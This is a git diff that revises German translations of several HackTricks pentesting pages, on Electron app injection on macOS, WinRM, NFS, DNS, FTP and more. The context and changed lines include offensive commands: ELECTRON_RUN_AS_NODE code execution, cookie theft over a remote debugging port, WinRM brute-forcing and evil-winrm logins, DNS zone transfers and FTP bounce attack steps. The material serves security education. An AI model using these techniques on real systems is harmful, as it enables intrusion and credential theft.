diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 6d675a1bc..988c968de 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -1,27 +1,27 @@ -# macOS Electron-Anwendungen Injection +# macOS Electron-Anwendungen-Injektion {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Aber für jetzt wissen Sie einfach, dass Electron **node** ausführt.\ Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werden können, um **anderen Code auszuführen**, abgesehen von der angegebenen Datei. -### Electron Fuses +### Electron-Fuses -Diese Techniken werden als nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**: +Diese Techniken werden als Nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**: -- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code zu injizieren. -- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code zu injizieren. -- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injection** verhindert, indem der Inhalt dieser Datei geändert wird. -- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`** Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**. -- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei namens `browser_v8_context_snapshot.bin` für seinen V8-Snapshot. +- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code einzufügen. +- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code einzufügen. +- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injektion** durch Modifikation des Inhalts dieser Datei **verhindert**. +- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`**-Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**. +- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei `browser_v8_context_snapshot.bin` für seinen V8-Snapshot. -Ein weiterer interessanter Fuse, der die Code-Injection nicht verhindert, ist: +Ein weiterer interessanter Fuse, der die Code-Injektion nicht verhindert, ist: - **EnableCookieEncryption**: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mit kryptografischen Schlüsseln auf Betriebssystemebene verschlüsselt. -### Überprüfen der Electron Fuses +### Überprüfen der Electron-Fuses Sie können **diese Flags** von einer Anwendung aus überprüfen mit: ```bash @@ -54,7 +54,7 @@ Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die ## RCE Code zu Electron-Anwendungen hinzufügen -Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen könnte. +Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen kann. > [!CAUTION] > Es gibt jedoch derzeit 2 Einschränkungen: @@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Wenn die Fuse **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert, und dies wird nicht funktionieren. +> Wenn die Sicherung **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert, und dies wird nicht funktionieren. ### Injection aus der App Plist @@ -157,9 +157,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ > [!CAUTION] > Wenn die Sicherung **`EnableNodeCliInspectArguments`** deaktiviert ist, wird die App **Node-Parameter** (wie `--inspect`) beim Start ignorieren, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls **ignoriert** wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist. > -> Sie können jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen. +> Sie könnten jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload wird nicht funktionieren, um andere Prozesse auszuführen. -Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Verlauf** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt). +Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Historie** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt). Sie können lernen, wie man das macht, [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) und [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) und das automatische Tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) oder ein einfaches Skript wie: ```python @@ -194,8 +194,8 @@ Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz ## Run non JS Code -Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung** auszuführen. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\ -Daher, wenn Sie Berechtigungen missbrauchen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**. +Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung auszuführen**. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\ +Daher, wenn Sie Berechtigungen ausnutzen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess ausführen**. ## Automatic Injection diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index 002766853..94f8537ca 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -6,7 +6,7 @@ Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)). -Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-). +Bei der Enumeration von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-). ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index 7ef1e5bd9..3709e21d9 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -4,7 +4,7 @@ ## Grundlegende Informationen -Das **WHOIS**-Protokoll dient als standardisierte Methode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen. +Das **WHOIS**-Protokoll dient als Standardmethode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen. **Standardport:** 43 ``` diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 33fcf0315..e27cdf9c1 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -6,7 +6,7 @@ [Windows Remote Management (WinRM)]() wird als **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basiertes Interface für WMI-Operationen. -Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen: +Die Anwesenheit von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -15,12 +15,12 @@ Ein offener Port aus der obigen Liste zeigt an, dass WinRM eingerichtet wurde, w ### **Initiierung einer WinRM-Sitzung** -Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting` Cmdlet zum Einsatz, das den Computer so einrichtet, dass er Remote-PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen: +Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting` cmdlet zum Einsatz, das den Computer so einrichtet, dass er Remote-PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern. +Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der aufgrund seiner Auswirkungen sorgfältig überlegt werden muss. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern. Darüber hinaus kann WinRM **ferngesteuert aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert: ```powershell @@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ``` ![](<../images/image (1009).png>) -**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt.** +**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt** ### **WinRM Öffnen Erzwingen** @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### Brute Force -Seien Sie vorsichtig, das Brute-Forcen von winrm könnte Benutzer blockieren. +Seien Sie vorsichtig, das Brute-Forcen von WinRM könnte Benutzer blockieren. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Lesen Sie die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Lies die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 6a1ea57ed..5069ad2d6 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -22,7 +22,7 @@ Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatore - **NFSv4**: Eine wegweisende Version in der NFS-Serie, brachte NFSv4 eine Reihe von Funktionen mit sich, die darauf abzielen, die Dateifreigabe über Netzwerke zu modernisieren. Zu den bemerkenswerten Verbesserungen gehören die Integration von Kerberos für **hohe Sicherheit**, die Fähigkeit, Firewalls zu durchqueren und über das Internet ohne die Notwendigkeit von Portmappern zu arbeiten, Unterstützung für Access Control Lists (ACLs) und die Einführung von zustandsbasierten Operationen. Die Leistungsverbesserungen und die Einführung eines zustandsbehafteten Protokolls heben NFSv4 als einen entscheidenden Fortschritt in der Technologie der Netzwerkdateifreigabe hervor. -Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden und schrittweise Sicherheit, Kompatibilität und Leistung zu verbessern. +Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden, wobei Sicherheit, Kompatibilität und Leistung schrittweise verbessert wurden. ## Enumeration @@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` ### Mounting -Um zu wissen, **welcher Ordner** auf dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit: +Um zu wissen, **welcher Ordner** dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit: ```bash showmount -e ``` @@ -55,11 +55,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` ## Berechtigungen -Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zuzugreifen. +Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** können Sie auf die Datei/den Ordner **zugreifen**. ## NSFShell -Um Dateien einfach aufzulisten, einzuhängen und UID sowie GID zu ändern, um Zugriff auf Dateien zu erhalten, können Sie [nfsshell](https://github.com/NetDirect/nfsshell) verwenden. +Um einfach aufzulisten, zu mounten und UID und GID zu ändern, um Zugriff auf Dateien zu erhalten, können Sie [nfsshell](https://github.com/NetDirect/nfsshell) verwenden. [Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 7f6480b79..3d3357856 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -18,10 +18,10 @@ PORT STATE SERVICE REASON - **DNS-Root-Server**: Diese stehen an der Spitze der DNS-Hierarchie, verwalten die Top-Level-Domains und treten nur ein, wenn niedrigere Server nicht antworten. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) überwacht ihren Betrieb, mit einer globalen Anzahl von 13. - **Autorisierte Nameserver**: Diese Server haben das letzte Wort für Anfragen in ihren zugewiesenen Zonen und bieten definitive Antworten. Wenn sie keine Antwort geben können, wird die Anfrage an die Root-Server weitergeleitet. -- **Nicht-autorisierte Nameserver**: Diese Server haben keine Eigentumsrechte an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server. +- **Nicht-autorisierte Nameserver**: Diese Server haben kein Eigentum an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server. - **Caching-DNS-Server**: Diese Art von Server speichert frühere Antwortdaten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird. - **Weiterleitungsserver**: Diese Server haben eine einfache Rolle und leiten Anfragen einfach an einen anderen Server weiter. -- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und werden nicht als autoritativ betrachtet. +- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und gelten nicht als autoritativ. ## Enumeration @@ -52,7 +52,7 @@ dig axfr @ #Try zone transfer without domain dig axfr @ #Try zone transfer guessing the domain fierce --domain --dns-servers #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack ``` -### Mehr Informationen +### Weitere Informationen ```bash dig ANY @ #Any information dig A @ #Regular DNS request @@ -95,7 +95,7 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> Wenn Sie Subdomains finden, die auf interne IP-Adressen auflösen, sollten Sie versuchen, einen Reverse-DNS-BF zu den NSs der Domain durchzuführen, die nach diesem IP-Bereich fragen. +> Wenn Sie Subdomains finden, die auf interne IP-Adressen auflösen, sollten Sie versuchen, einen Reverse-DNS-Brute-Force-Angriff auf die NSs der Domain durchzuführen, die nach diesem IP-Bereich fragen. Ein weiteres Tool dafür: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 724cf62ce..3623c715a 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -14,7 +14,7 @@ PORT STATE SERVICE ``` ### Verbindungen Aktiv & Passiv -In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP **Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients. +In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP-**Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients. Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP. @@ -105,7 +105,7 @@ Hier finden Sie eine schöne Liste mit Standard-FTP-Anmeldeinformationen: [https ### Automatisiert -Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option oder durchgeführt: +Anon-Login und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option durchgeführt oder: ```bash nmap --script ftp-* -p 21 ``` @@ -128,54 +128,54 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ``` ## Einige FTP-Befehle -- **`USER username`** -- **`PASS password`** +- **`USER benutzername`** +- **`PASS passwort`** - **`HELP`** Der Server zeigt an, welche Befehle unterstützt werden -- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_Sie müssen das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_). +- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_du musst das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_). - **`EPRT |2|127.0.0.1|80|`** Dies weist den FTP-Server an, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**. - **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner - **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt) -- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in eine Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt. +- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in einer Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt. - **`STOR /path/something.txt`** Wie `APPE`, aber es wird die Datei überschreiben - **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen. - **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung - **`REST 6`** Dies weist den Server an, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll. -- **`TYPE i`** Setzt die Übertragung auf Binär +- **`TYPE i`** Setze den Transfer auf binär - **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann -- **`PUT /tmp/file.txt`** Lädt die angegebene Datei auf den FTP hoch +- **`PUT /tmp/file.txt`** Lade die angegebene Datei auf den FTP hoch ![](<../../images/image (386).png>) ## FTPBounce-Angriff -Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind. +Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass du dich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchtest. Dann kannst du dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind. [**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md) -Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ +Du könntest dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Du könntest **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ Die Theorie ist einfach: -1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen -2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen) -3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden** -4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.** +1. **Lade die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren möchtest, die Zeilen mit `0x0d 0x0a` ändern musst. +2. **Verwende `REST X`, um zu vermeiden, die Zeichen zu senden, die du nicht senden möchtest** (vielleicht musstest du, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen) +3. **Verwende `PORT`, um dich mit dem beliebigen Server und Dienst zu verbinden** +4. **Verwende `RETR`, um die gespeicherte Anfrage an den Server zu senden.** -Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind: +Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um das zu vermeiden, sind: -- Wenn Sie eine HTTP-Anfrage senden, **setzen Sie die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So: +- Wenn du eine HTTP-Anfrage sendest, **setze die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So: {{#file}} posts.txt {{#endfile}} -- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten) -- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)** +- Versuche, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn du mit FTP sprichst, vielleicht nur Junk-Befehle oder wiederhole die `RETR`-Anweisung, um die Datei zu erhalten) +- Fülle die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)** -Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) +Wie auch immer, hier hast du ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) ## Filezilla-Server-Sicherheitsanfälligkeit -**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. +**FileZilla** bindet normalerweise einen **administrativen Dienst** für den **FileZilla-Server** (Port 14147) an **lokal**. Wenn du einen **Tunnel** von **deinem Rechner** zu diesem Port erstellen kannst, kannst du dich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. ## Konfigurationsdateien ``` diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index 4da47fbae..085483828 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -4,7 +4,7 @@ ## Internet Message Access Protocol -Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus** zuzugreifen, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** aus zu überprüfen, sodass keine Nachrichten verpasst werden, 